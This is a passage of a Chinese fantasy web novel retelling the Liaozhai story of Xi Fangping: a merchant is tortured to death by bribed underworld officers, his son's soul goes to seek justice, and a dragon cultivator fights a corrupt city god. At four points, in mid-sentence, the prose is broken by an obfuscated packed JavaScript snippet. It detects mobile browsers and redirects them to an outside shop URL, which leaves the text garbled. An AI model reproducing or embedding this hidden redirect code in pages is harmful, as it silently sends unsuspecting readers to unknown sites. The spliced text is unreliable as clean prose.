他旁边的人偷偷觑了眼席廉,低声道:“你还不知道羊老爷前些日子病故了,葬礼都办完了。” “这么突然?我刚从余杭回来,还没听说呢。” “要不说酒色误人啊。”那人话方落又觉得这么说死者不好,便转移话题,问起白胡子老头去余杭看的新料子。 他们说话时刻意避开了李钰这边几人,尤其还频频注意着席伯父,再看席伯父倒是神色如常。李钰不由疑惑,那个什么羊老头是谁?跟席伯父有什么关系吗? 回家后,李钰就等不及地问了李化,李化也没藏着掖着,道:“也没多大事,席家和羊家素来有些龃龉罢了,从你席伯父那一代开始两家生意场上就有些竞争。本来也很正常,可那羊老爷心胸狭窄,凡事都想要压席家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308189|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一头,你说一回两回便算了,我们生意人都讲究个以和为贵,可老是这么搞,你席伯父自然也不答应,于是久而久之就交恶了。都是些老黄历了,反正如今人也死了,不提也罢。” 李钰点了点头,原来就是竞争对手关系,还以为什么大仇呢?没什么意思,又累了一天,李钰跟李化又说了几句旁的,就早早回自己院子找白行野了。 还是得每日吸吸小龙,生活才有动力啊! 转眼秋风乍起,正式入了秋,便是收成的日子了。李钰想起去年在庄子上,玩也没玩尽兴,学也没学到什么东西,主动跟李化提了今年也要一起回庄子上看看。 可不只李化连他娘都有些犹豫了,去年青蛙神那事如今想来都还有些心惊,这可不是什么鬼啊妖啊的,那可是他们那里最是灵验的地方神灵,跟土地公一个地位了!怎能不让人有所忌惮? 好在白行野帮腔道:“去年一事已了,我们都已经和青蛙神谈妥了,好歹是庇佑一方的神灵,不至于还同自己庇护之下的百姓这般计较。” 二老听白行野都这样说,才稍感放心,答应下来。李钰算是发现了,如今白行野说话可比他还好使,心里还有点吃味。不过想到别样的乡间风光和乡野小食,居然还有一丝想念,便也不计较其他,高高兴兴地去收拾准备了。 有了上次的经验,这次坐马车李钰早早让白行野施展法术,让他能悠哉悠哉地上路。一边尽览沿路景色,一边东拉西扯,竟不知不觉就到了庄上。才只休整了一晚,李化就马不停蹄地备上三牲美酒去了蛙神祠上香,走之前还特意嘱咐李钰先别出门。见老爹这般紧张兮兮的模样,李钰只能无奈答应。 结果等了半天,李化满面红光,乐呵呵地回来了。 李钰一看便知上回那样的怪事没再出现,调侃道:“我就说没问题吧!那件事我们都已经跟他说清楚了,我又不是什么香饽饽,人家就非得揪住我不放?” 李化没接茬,有些不好意思地看了白行野一眼才说:“我这也不是想稳妥一点吗?今天去上香顺利得很,还听说了另一桩喜事!” “何事?”李钰好奇道。 李化兴致勃勃道:“说是青蛙神已经嫁了女了,相中的邻村薛家的一个小子。那孩子我还见过,小时候确实是俊俏可爱,想来长大了也是个英俊小伙儿。” 哈哈哈,李钰乐了,蛙神一家选婿标准还是一如既往,一家子颜控。 “听村里人传,青蛙神的女儿居然是个仙女似的人物,十里八村找不出比她还好看的姑娘。蛙神夫妇还常去看她,每次去薛家只要穿红色的衣服,那家里就有喜事,若是穿白色的衣服,家里就要发财。短短一年不到,薛家日子越过越红火,就是听说家里青蛙扎堆,满院子都是……这也无妨,早知道是这种情形,当初倒也不用那么快拒绝。”李化说着说着竟还有些失望了起来。 李钰听了忙去看白行野的脸色,对方面上依旧平淡,却是不咸不淡的回了李钰一眼,李钰忙表明态度,“爹,可别这么说,我自有我的姻缘。” 李化打量着自家小子,打趣道:“你这么说,是有看上的人了?” “……爹,我现在每天忙什么,您老不知道吗?哪有心思想这些情情爱爱的。”李钰一个头两个大,只想赶紧结束话题。 李化哈哈大笑,只道自家孩子还不省事,摇摇头也不再调笑儿子,反正他们这样的人家,他儿子这样的品貌,也不愁找不到媳妇。 71.席方平(一) 晚上,白行野如往常那样摸进李钰房中,两人习惯性地依偎在一起小声说话。白行野想起今日之事,忍不住逗李钰,“”你今日说的姻缘可是说我?” 李钰白了一他一眼,明知故问。 白行野最待见他这模样,凑近吻他。李钰由着他胡闹了一会儿,才移开脸道:“好了,明天我还得早起跟爹去学东西呢,你也早些睡,今天都有农家的小崽子们在门口张望了,怕是就等着你去帮他们割稻子呢。” “好啊,明天就去涨涨功德。”白行野边说边将李钰往怀里搂了搂。 李钰即将闭上了眼睛又睁开了,不赞同道:“你这小龙能不能别这么功利?你们不讲究什么积阴德吗?默默做好事才叫积阴德吧?” 听他这么说,白行野有些好笑道:“无论我说不说,只要做了不就行了,做的都是好事,难道就因为我说了出来,平白就比没说出来的矮一头吗?重要的难道不应该是所为之事吗?” 本来李钰是开玩笑说的这话,可听白行野这么一讲,颇有些醍醐灌顶之感,不愧是修道之人,说起话来是有些旷达不羁。他认可地点头,往白行野怀中一缩,安心睡去了。 此后的日子,白行野可比李钰还忙,李钰每日听听庄头的汇报,核对下这一年的账目,被李化带着熟悉了下庄上的各项事务,认识了一些乡中耆老。 而白行野却是要下地做些“苦力活”,虽然以他的方法来做并不算苦,可总归费时。他在府城中时领略了不少红尘人情,却是有些荒废了剑道和术法,却在一次次收割中体会到新的修行之法。重复地施展剑气,熟能生巧,剑气运行更加纯熟和精确。尤其是收割完后,他又看着众人给谷子脱粒,施法试了下,力度控制竟不容易,重了就容易弄碎谷粒,轻了又总有那么些稻壳掉不下去。农民们去壳脱粒也常有这种情况,可白行野精益求精,一时上头便更加积极地尝试,几次下来总算掌控好力度,看着脱壳得干干净净的莹白米粒满意点头。如此,他每日早早地就起来去地里帮忙,这可把众人高兴坏了。 渐渐的,地里的收割和今年收成的核算就进入了尾声。而在府城里,却有另一桩怪事正在发生。 话说那日席廉老爷遇到李化父子后,回到家中就跟席方平说了李钰,称其现在进退有度,颇成熟了些。 席方平一听,也高兴道:“说来还是李家有福,虽然李钰兄弟以前头脑不清醒,浑浑噩噩,但家里人疼他,未曾让他受过苦。一朝清醒过来,却也知道上进,为自己和李家的家业谋划打算,并不叫李伯父多操心。” “要不说造化弄人呢?当初谁能想到痴儿一朝能明白过来?”席廉感慨不已,又拍了拍儿子的肩,“不过我儿也好,如今可是秀才了!你们虽走的是不同的路,但与这样的人交好,你爹我也放心。” “父亲不用操心我,您和母亲好好保重身体才是,我不能像李贤弟那样为父亲在生意场上分忧已是不孝,岂敢还劳您再操心我读书之事?” 席廉闻言老怀甚慰,今日见了李化带儿子出门也是有那么一丝羡慕的。但儿子既然如此说了,为了他的将来,自己再操劳些时日也是心甘情愿。他这话倒是提醒了席廉,最近身上确实有些不舒坦,明日还是叫个郎中来看看,免得自己有什么事反倒叫儿子操心,影响他读书就不好了。 然而之后,席廉叫来郎中把脉却并未发现不妥,只开了些补身的药吃着。药是在吃,可身上却越发不好了,总是腰酸背痛,提不起精神。换了个郎中来看,也没看出什么,又给开了另外的补药吃着。日子一天天过去,药也没见效,身体却越发羸弱,渐渐竟不能起身了。席廉悄悄和妻子说,恐怕是天命将至,被席大娘子含泪斥了回去,不许他再这么说,只又花重金去请更厉害的医师。 席方平更是忙前忙后,每日亲自煎药,床前侍疾,还在县学请了假,只每天晚上才有时间看看书。 这日入夜,席方平合上书本正要去睡,忽听得外面传来一阵嘈杂之声,便开门去看,家里的小厮正一路跑过来,迎面就喊:“少爷,老爷他……老爷他看起来像是不好了。” 席方平脸色一变,也等不及听小厮细说,抬脚便往正房去。 正房灯火通明,里面惊慌声、怪叫声不绝,家里的管事婆子、丫鬟小厮都堵在门口,见席方平来了忙让开了道。一进房内,他娘看到他来就哭道:“方平,还不快来看看你父亲。” 席方平一个箭步过去,扒开守在床前的小厮,这才看清父亲正以极为怪异的姿势仰倒在床上,眼睛上翻,颈项强直、四肢扭曲抽搐,嘴里还发出像是被痰卡住似的“嗬嗬”声,少了小厮按住他的身体,抽搐更甚,就要跌到床下去!席方平赶紧按住父亲,只觉手下之人力气极大,一旁小厮赶紧也上前帮忙。 “父亲!”席方平无措地喊了一声,又强自冷静下来思考着眼前的状况,忙叫其他人去把门窗都打开通风。 其余人急忙照做,那帮着席方平按住席廉的小厮有些力气,但年龄却不大,面带难色地问:“老爷这是抽羊癫疯了,还是……中邪了呀?” “闭嘴!”席方平怒喝一声,又问母亲,“娘,去请郎中来了吗?” “请、请了,小六跑得快,让他去请的。”席母今晚被吓住了,还有些回不过神来,无措道:“老爷以前没有过这种病啊,怎么突然就这样了?” 席方平哪里知道为什么,父亲向来康健,如此病来如山倒便罢,眼下这情形又如何解释啊? “大娘子,少爷,郎中来了!”外面传来小六的声音。 一个老郎中提着药箱就进来了,一看这场景惊道:“还真是羊癫疯!” 那郎中赶紧一边去掏针灸包,一边让席方平将席老爷胸口衣襟解开,席方平依言照做。 只见郎中取出银针,快速下针扎向席廉胸口腹部几处穴位,又依次扎破席廉的十根手指为其放血。席廉猛喘几口气,喉间怪异声渐渐小了下去,抽搐也渐停。看来是救回来了,所有人才松了一口气。 席方平趁此机会忙问郎中:“我爹从前不曾犯过羊癫疯,为何今日突然发作?” 他话音刚落,手却被猛地拽住,席方平连忙去看席廉,只见父亲双目怒瞪,张着嘴像是要说什么。 “父亲,你可好些了?”顾不上手被拽得生疼,席方平关心道。 席廉一脸痛苦,涕泗横流道:“是姓羊的……姓羊的害我!” 满座震惊,众人一时都未曾反应过来,只席方平反应迅速,惊诧道:“怎么可能?!”姓羊的前些日子不是已经死了吗? 席廉面目更加扭曲狰狞,像是正在遭受极大的痛苦,忽然惨叫道:“姓羊的买通了阴差打我来了!” 此话一出,席廉又是抽搐起来,接连惨叫几声后,在众目睽睽之下,浑身发红肿胀起来,忽地头一歪,便不再动弹了。 那郎中站得近,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314318|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情此景吓得他早已两股战战,但仍还记得医者责任,忙去探脉,然后白着脸抬起头对众人道:“席老爷……去了。” 房内立刻哭声一片,席方平呆愣在原地,不敢置信,脑中不断响起父亲临死前的话。 “姓羊的买通了阴差打我来了!” 席方平展开父亲的衣服一看便愣住了,那一道道红肿的痕迹,真如被打了一般。 “这……这是什么?!席老爷身上怎么会突然出现这些痕迹?”郎中在一旁也看到了,自言自语道,他也从未见过这种情形。 看着那些交错纵横的伤痕,席方平目眦欲裂,泪水夺眶而出,大喊了一声,“父亲!”,便只剩泣不成声。 值此深秋,星斗静默,阴云覆月,夜风呼啸似鬼哭。而夜色愈沉,惨剧却仍未结束。 李钰一干人处理完庄子上的诸项事宜,带上些新鲜的土产回了城里,刚到家还未好好休整,便接到了席家的噩耗。带来消息的是丁再昌,席家老爷席廉前两天夜里发了急症,人已经没了。 这消息令李钰一时呆住了,走之前才见过的人,看起来明明康健得很,怎么能说没就没了?等他回过神来,才发现丁再昌的状态不对,他的脸上不只是沉痛,更有些惶急无措。 “师弟,是不是还有别的事?你怎么慌成这样?”李钰忙问。 丁再昌摇摇头复又点点头,最后叹了一声才道:“我说不清楚,总之你们先和我一起去席家,这事恐怕还得白道长才弄得明白。” 李钰和白行野对视一眼,不由都皱起眉头,城中这才消停多久,难道又生出什么事端? 三人不再多言,立刻就出了门。 不多时,到了席家门口,李钰一眼就看出不对。当初卞胭脂家里只剩一个老母一个姑娘,还有衙门里各项事务要应付,可因家人去世,门前依旧有挂白灯笼,白帏帐。可席家如今虽是门户紧闭,却看不出任何办丧事的迹象。 丁再昌上前敲门,门子开门看清了来人,才将三人放进去。李钰带着满腹疑问走进院里,这才感受到一些丧礼的氛围,只见席家正厅门前倒是挂上了白灯笼和帏帐,布置了灵堂出来,正厅中央放置着一口棺材,棺材前的供桌上摆放着贡品,燃着白烛,几个家里的老仆跪在厅中一边哭一边烧纸。 但却不见席方平和席母,这可真是奇了! 一个婆子领着三人先去给席老爷上香,李钰执香拜了拜,却感受到一旁的婆子不断打量着他们,李钰不自在地看得过去,才发现她是在看白行野。 等出了厅堂,李钰憋不住了,赶紧问丁再昌:“这到底是怎么回事?怎么不见方平兄和席伯母?” 还不等丁再昌回答,方才打量白行野的婆子就跟了过来,她向三人道:“三位请跟我来吧,大娘子正等着你们呢。” 大娘子在等着他们?方平兄呢?李钰心中隐有不安,不由看向白行野,却见白行野一副若有所思的样子,显然是察觉到了什么,感受到李钰的目光,他的眉头才舒展开,给了李钰一个安抚的眼神,两人便跟着婆子往院子里面走去。 婆子一路将他们带席方平的院子,鄂秋隼正等在房前,来回地踱步,看起来也是忧心忡忡。一见李钰和白行野,忙几步走近道:“李兄,白道长,你们可算回来了!”说完立刻带着几人跟着他一起进去。 房中,席母正坐在床边抹着眼泪,而床上直挺挺地躺着一个人,正是席方平! 72.席方平(二) 席母见他们进来,忙站起身,开口就求道:“白道长,素闻你有能耐,还请你看看我儿到底是怎么回事?” 白行野神色一凛,走至床边查看,李钰也立马跟上。但见席方平胸口起伏平稳,好似熟睡,而他双目却是半睁着的,只是直愣愣盯着前方,对周遭一切视而不见,不作任何反应。 “夫君去世后,方平也不知是受刺激太大了还是怎的?好一通嚎哭后便双目发直,一动不动了,当时有郎中在场,立刻给他看了,却看不出问题在哪。所幸他还有一口气在,不然我也不活了……”席母抹了抹眼泪,面色憔悴不已,“白道长,我儿这到底是如何了?是不是中邪了?” 白行野转过身来已是面沉如水,不答反问:“席老爷去世当日到底发生了何事?方平兄怎会生魂离体?” 众人皆是一惊,席母更是骇得眼前一黑差点晕过去,被一旁的婆子搀扶住,眼泪立刻又止不住了,夫君骤然过世,儿子又是生魂离体,魂都不在,人岂能活? 倒是一旁的婆子定了定神,将那晚之事细细道来。说到席廉突发急症暴毙而亡后,才又讲席方平悲痛大哭了一场,忽然怒视窗外大喊道:“我父向来忠厚,姓羊的却如此害我父,使其受恶鬼欺凌!我将奔赴地下,誓为父亲申冤!” 这之后,他便目光定住,人也不动了,明明有气儿,脉搏也跳动着,可就是不动不言,就跟一个睁着眼却陷入昏迷的人一样。 “连着一晚上,席家接二连三地遭遇这种……怪事,我家大娘子又想着老爷和少爷此前说的那些话,因此未发讣告,也不敢大肆操办丧事,只等少爷醒来再做计较。可少爷连着一天一夜都没个动静,我们这才请了丁少爷和鄂少爷前来,他们都说白道长有仙术,还望白道长一定要救救我家少爷!”婆子目光殷切地看着白行野。 白行野听完一切,已然明白席方平的生魂的去处,“若如他所言,必是去往地府伸冤了。” 其余人都微微一怔,生魂入地府这种事,实在太难以置信。 “不对。”白行野说完又突然想到什么,道,“若他是追随席老爷子而去,席老爷子的魂魄理应先去往城隍庙,由城隍庙登记过才会由鬼差带往地府,我先去城隍庙去找找。” 闻言,几人交代了席母几句,立刻就要准备一起出门。 白行野却拦住了他们,“你们不用去,一方城隍岂会轻易在凡人面前现身?我去就行。” 李钰也点点头,“别担心,我们快去快回,一定将方平兄的生魂找回来。” 说完一扭头,对上白行野哭笑不得的表情,“我的意思是你也不用去。” “为何?”除了之前要潜入别人家里的情况,两人向来都是同进同出的。 “还是那句话,一方城隍不会轻易在凡人面前现身。”白行野又凑近李钰耳旁低声说道,“毕竟这事恐怕是城隍治下有鬼差受贿作乱,并不光彩,我还带此地百姓去城隍面前,人家面上也不好看。” 李钰细想是这个理,白行野过去说到底是要揭城隍爷的短的,就像面对阳间官员也不好直接当着百姓的面说其治下不严。且又不知他们这儿的城隍是什么性子,还是行事小心些好。白行野在人间这些日子,倒是通了些人情世故。 “那你可注意安全,早点回来。”李钰嘱咐道。 “我知道。”白行野拍了拍李钰的肩,转身走了。 李钰看着他出了房门,足下一点,刹那间化光而去。一旁的丁再昌和鄂秋隼见此神通,惊讶之时也更多了几分放心。 而李钰不知为何,却是隐隐有些不安。 而白行野这一去竟是一日未归,等到天擦黑,李钰想起自己急匆匆出门,家里还不知道自己的去向,只能先自己回家。为了安家里人的心,李钰只说白行野被请去帮忙了,自己草草吃完饭就回了房。屏退了下人,李钰在廊下来回踱着步,心里实在不安,怎么会去了这么久还不回来?是和城隍爷交涉不顺,还是方平兄的生魂没找到? 脑海中闪过各种可能,可万万没想到没等回来白行野,却等来一白一红两只狐狸越过墙头进入李家,来者正是胡四相公和小翠。 詹贵儿见哥哥今日心情不好,道长哥哥也没回来,一直不敢出言打扰李钰。一察觉两只狐狸的到来,如同见到了救星,立刻带他们去见李钰。进了房内两只狐妖才化出人形,这一看,两人神色都是前所未有的严肃。 李钰心中咯噔一下,还未发问,小翠先开口了,“小鲤鱼,你先别慌,我们是受白道长所托来带信的。” “他说什么?他怎么没回来?”闻言,李钰慌了。 “大约三刻钟前,白道长以龙身飞过翠竹林上空时传音给我。”胡四相公尽量冷静道,“他说,此处城隍鬼差蛇鼠一窝,为祸人间,他将前往蜀中找灌口二郎神君来主持公道。叫你切不可轻举妄动,只在家等消息。” “什么?!连城隍也……”李钰脑中瞬息万转,大概构想出其中阴私,如果连城隍也参与其中,那么行野定是不敌,无论此前白行野在他心中是多么的厉害,可他毕竟还未真的修炼成仙,如何与真正的神明相抗? 李钰握紧拳,“那……他受伤了吗?” 小翠犹豫地看了一眼胡四相公,胡四相公默默点了点头,李钰立即心下一沉。 詹贵儿担心地问:“道长哥哥伤得重吗?” “应当还好,他自翠竹林经过时,我虽嗅到一丝妖血气味,但他行动未有阻滞。”胡四相公见眼前一大一小担心的模样连忙道。 李钰定了定心神,如此说来,白行野之所以没有回来,定是因为怕给自己引来灾祸,直接出城搬救兵去了。原以为是阴差鬼卒私下恶行,没想到竟是阴司衙门上下串通一气、鬻狱卖法。 他抬眼望向窗外天空,今夜密云层叠,星月尽没。 话分两头,这时候的白行野化出龙身,身影穿梭在云层间极速前行。往日他带着李钰要考虑人的承受程度,因此不会飞行太快,而此时的他御风而行,全速前进,即便是受伤状态,但日行千里也不在话下。现下他已经出了常州府城隍的地界,他们想要再追上他就不容易了。 今日之事乃一府城隍连同其手下贪墨渎职,若是去地府告状,难保其背后不会有更大的势力维护,而以白行野的身份也不能随意上天庭告状。白行野首先想的是去找师父,可师父云游四方行踪难定,他没那么多时间去找。而普天之下,常居人间又地位崇高且能保证其执法严明、刚正不阿的神明,唯有灌江口的二郎神君! 思及今日种种场景,白行野紧紧咬住牙关,未曾想到一方保护神竟也如人间贪官污吏一般。今日他去往城隍庙拜见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318051|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城隍,将事情说清楚后,请其惩治其下鬼差和羊财主,还席家父子一个公道。可谁知他将来意告知后,城隍的反应却有些奇怪。 “你说你是孚佑帝君的弟子?”城隍幽幽问道,他是个长着长须的老人,面上带着神官的威严,但说话的语气却显得意味不明。 白行野心下觉出一丝微妙,却也不知是哪儿不对,仍正色道:“正是,还请城隍大人严查,还有我那友人席方平的生魂应当也来此处了,还请大人让属下帮忙寻找一番,在下谢过大人。” 城隍沉吟片刻道:“你说的这些事本神官已经知晓了,会让人去查的,若真有此事那确实是本神官治下不严,定会严惩手下收受贿赂的鬼差。那席方平的生魂我却未见过,生魂离体恐怕还有些浑浑噩噩,迷失了方向也未可知,我便遣人去附近寻一寻,你就不必挂心了。至于其父席廉此时已入地府,那就不是我都能插手之事了。不如你先回去,等事情查清,找到席方平生魂后,我便叫人送他回去。” 白行野眉头一皱,他如今在人间也历练了一年有余,多少听得出何为敷衍之语,城隍虽应下诸事,可字字句句倒像是想快快将他打发走的样子,其中必有隐情。 他思虑片刻,问道:“恕在下无状,想请教大人,只要将勾去席廉魂魄的阴差带上来一问,便可明晰事情原委,我想这勾魂之人应当是有记录的吧?” 话音一落,堂上落针可闻,城隍身旁的文武判官,堂下各路鬼差互相使眼色,城隍手抚长须,声音沉了下来,“你虽是孚佑帝君的弟子,但也应当知道这是阴司衙门之事,连孚佑帝君也不会插手本神官治下。我既已应了你,难道还会为了包庇小小鬼差就骗你不成?” 白行野神色未变,仍坚持道:“城隍府衙之事是不该我插手,不过在下还想请问城隍大人一件事。” 城隍闻言面色缓和下来,心下有些不耐烦,但他也不想找麻烦,只能说:“何事?” 白行野的目光落在文判官手中的生死簿上,道:“城隍大人,请问席廉此人是否阳寿已尽?” “砰”的一声,城隍拍案而起,大怒道:“看在你师父面子上,本神官任你这小妖龙在此胡搅蛮缠多时!你居然还得寸进尺,质疑本神官不成?这生死簿上之事,岂是你一介妖物可以知晓的!” 城隍这般恼羞成怒的做派,白行野哪里还看不明白?什么治下不严,恐怕就是上有所示!白行野已见识过阳间的贪官污吏,未曾想今日阴间也是如此! 城隍见白行野不语,只当他是被自己震慑,继续斥道:“大胆小儿,以为自己背靠孚佑帝君就能在此妄言?质疑本神官,你哪来的身份?别说你此时未能修得仙身,即便是你已经修炼成仙也管不到地府之事上!本神官最后再给你一个机会,速速离去,别管不该管的事!” 说罢,城隍向一旁的无常、鬼差们递了个眼神,众鬼差手持勾魂锁、打魂鞭、钢叉和棍棒,逐渐向白行野围了过来,威胁之意不言而喻。 白行野将眼前情形尽收眼底,竟是嗤笑一声,“呵,没想到此处城隍衙门原是沆瀣一气,蛇鼠一窝!你们可还认得头顶匾额所书‘善恶昭彰’四个大字?!” 城隍气得吹胡子瞪眼,大喝一声,“拿下!” 话音一落,牛头马面率先出手,挥舞着手中钢叉和长矛向白行野扑来! 73.神面鬼心 白行野自知此战不可避免,早已做好应战准备,蓄势待发!他一侧身迅速躲开牛头马面击来的利器,伸手往虚空一握,一柄金光飞剑便出现在手中,握住剑的一瞬间猛地回身格挡,铿然一声挡住自后方袭来的黑无常的勾魂锁。 黑无常那矮黑胖子嘿嘿一笑,抓着锁链往后一拉,爪钩勾住剑身仿若有千钧之力,白行野还未抽回剑,又见黑无常身后一道瘦长白影腾空而起,白无常的哭丧棒带着罡风直劈下来!电光石火间,剑身灵力满溢,金光大盛,剑气冲开禁锢,随即阻挡了哭丧棒下劈之势。白行野足尖一点,旋身跃起,借白无常下落之势出剑击落哭丧棒。白无常面露意外,还未来得及反应,便被半空中飞来一脚踢翻在地,扬起一片尘灰。 众鬼差见此情形,便知这妖龙不可小觑,也不再一一试探,齐齐飞身上前,就要拿下这不知天高地厚的妖龙!白行野岂能让他们如意?他不闪不避执剑横扫,凶猛剑气带着磅礴法力如怒涛裂岸,一剑之势将众鬼差尽数撞飞,阴差鬼卒四散倒下,哀叫声连连,场面十足混乱。 “废物!连个小妖都拿不住,还养你们做什么!”一声怒吼传来,随即而来的便是强于众鬼差们百倍的森然法力压顶而来!城隍出手了,盛怒之下,竟是全力一击! 一府城隍,不仅有着正统神官所具的超然法力,同时还享有一府百姓供奉的信念之力,实力自是不可小觑。就算是白行野,他也自知以他如今的实力并不足以与之相抗,城隍这一击已在眼前,他躲闪不及,只能立刻化出龙身硬扛下城隍一掌!顿觉一阵剧痛袭来,霎时口喷鲜血。 说句狂妄的话,此前因着自己龙族的身份远超众多妖灵,他又在吕祖座下修炼多年,往日遇到各种鬼妖,即便修炼时日比他更久的,他都不曾放在眼里,甚至是一些小地方神灵也有一战之力。可当真正面对正统神官的仙身法力,白行野这才知道自己所修远不够看的,若非身覆龙鳞护体,他只怕要栽在这城隍手上。 纵使心下不甘,但久留于此,恐怕再难逃脱。城隍的阴私秘密已被自己察觉,城隍就是只为保全自身,也必不可能看在师父的面上放过自己。白行野快速缕清眼下事态,心下已有计较,不再逞能,就在城隍又一次抬手之际,他片刻不带犹豫,直冲云霄,飞掠而去,正如游龙入海般须臾间便飞出府城。 形势急转,城隍见了这速度也心惊,立刻道:“快追!不能让他逃出常州府!” 说话间城隍也已掠出几十里地,众鬼差得令紧随其后,气势汹汹追着前方已如豆粒般大小的龙影。 不过几息功夫,翠竹林已在眼前,未免引起怀疑白行野不敢停留,只发出一声短促龙吟,翠竹林中众妖皆是闻声一震。胡四相公闪身飞至荒宅屋顶,便见一道银色龙影飞跃山林,朝西南方向而去。 就在这时,一个熟悉的声音传入胡四相公脑海中,“胡四相公,我因发现此处城隍鬼差蛇鼠一窝,收受贿赂制造冤案,正遭其追捕。我将去灌江口请二郎神君前来主持公道,还请你立刻去告知李钰,让他不要担心我,在家等候消息,万不可去城隍庙!拜托。” 短短几句话,胡四听得心惊,来不及反应,便见府城中黑压压一片乌云袭来,越过翠竹林山头,追随银龙而去。胡四相公定睛一看,面色立刻变得惊惧,一众阴差鬼卒倾巢而出,领头之人赫然就是此地的府城隍! 胡四甚至忘了隐匿起来,可云上之人急速离去,并未在意山间窥伺的众妖。他想了想叫上小翠,立刻就前往李家,将事情经过详细告知了李钰。 李钰坐在椅子上久久不言,小翠和詹贵儿都担心地看着他,又不知说什么才好。 过了好半晌,李钰才像是反应过来了,既然行野能说出去灌江口找二郎神君,还能将城隍和鬼差们远远甩到身后,说明他受伤不重,只要他脱离常州府地界,必定就无性命之忧了。只是万没想到席伯父之死竟然牵扯如此多,鬼差收受贿赂折磨席伯父,还害其性命,方平兄生魂也不知所终。城隍反应如此之大,难道是席伯父原本命不该绝,阳寿未到便被剥夺生命? 若是如此,此事恐怕仅是冰山一角,一府城隍治下,如席伯父这般阳寿未到,被有过节的鬼魂贿赂阴司,受尽折磨被提前勾魂的人还有多少?而这些无辜魂灵,去往阴曹地府后又将受到如何的对待? 李钰细思之下,冷汗涔涔,城隍行事如此大胆,背后是否还有其他地府神官为其撑腰也未可知。是他太大意了,以往遇事只因有白行野在,他总觉得凡事都有解决之法,可这事实在牵连甚大,他居然让白行野一个人去冒险……李钰头痛欲裂,不自觉握紧拳,自责的情绪铺天盖地地袭来。可此时想这些已经无可挽回,只希望行野能顺利逃至安全的地方,请来二郎神。 “小鲤鱼……你还好吗?”小翠惴惴不安地问。 “没事。”李钰长长叹了口气,又坚定道,“我相信行野。” 现如今,他也只能等了。 胡四眉头紧锁,问道:“到底是发生了何事?城隍一干人究竟做了什么?” 此刻,李钰脑中还乱着,不知从何说起,忽然感觉自己的手上有凉凉的触感,低头一看是詹贵儿轻轻拍着他的手背,学着大人的样子在安慰他,眼里满满的都是担忧。 竟让一个孩子为他担心……李钰笑了一下,抬手揉了揉詹贵儿的头,这才将今天发生的一切道来。 胡四和小翠越听脸越沉,胡四尤为愤怒道:“这些神官鬼差居然敢做出这样的事,如此草菅人命竟没人管吗?!” 李钰这才想起来,胡四也受过地府鬼差戕害,为逃避责任夺取胡四的金丹,险些断送其一身修为,如此想来,城隍中出现这样的贪官竟也不意外了。可是还有一点,他实在不明。 “胡四相公,若说阳间的贪官污吏收受贿赂并不少见,可这阴间城隍鬼差他们收这些钱财又有何用?”李钰问道。 胡四相公道:“你有所不知,此财非彼财,而是冥币和香火,冥币为阴财,在地府中也可作为货币使用,同时与香火一样,是另一种形式的供奉。而这些供奉,对于他们来讲,少部分才用作货币使用,更多的则是可以吸收供奉之力,增强神威法力。除却自身中饱私囊,同时还可以孝敬上官、打点下属,如此上下皆有利可获。而且,正如人间官吏也都想做更大的官,城隍难道一辈子只想管一个府吗?县城隍上面有府城隍,府城隍上面有都城隍,甚至地府之中还有更高的官职,若有机会谁不想为自己谋一条更高的出路?” 小翠接话道:“这就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322143|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是所谓的‘有钱能使鬼推磨’吧?这种事情在阳间也好阴间也罢,不过异曲同工。” 李钰恍然大悟,“原来阴司衙门也是如此。”而后他又沉默下来,竟是如此,若他早知道这些或许就能想出更妥善的解决方法了,不会让行野没有准备就去见城隍。 不,错的不是他,更不是行野!城隍已有神力,享受一府百姓香火供奉,生杀予夺只在一念之间。掌管如此大的权利,却还因一己之私,枉顾阴律,滥用职权,本是一方保护神却戕害治下百姓!若非这次事件发生在自己身边人身上,他还不知自己举头三尺的神明,竟是时刻悬于头顶的刀斧! “这事找二郎神君,他会管吗?”李钰自然知道二郎神的威名,可这位神君在他那个时代的影视作品中总是显得亦正亦邪,他不确定地问道。 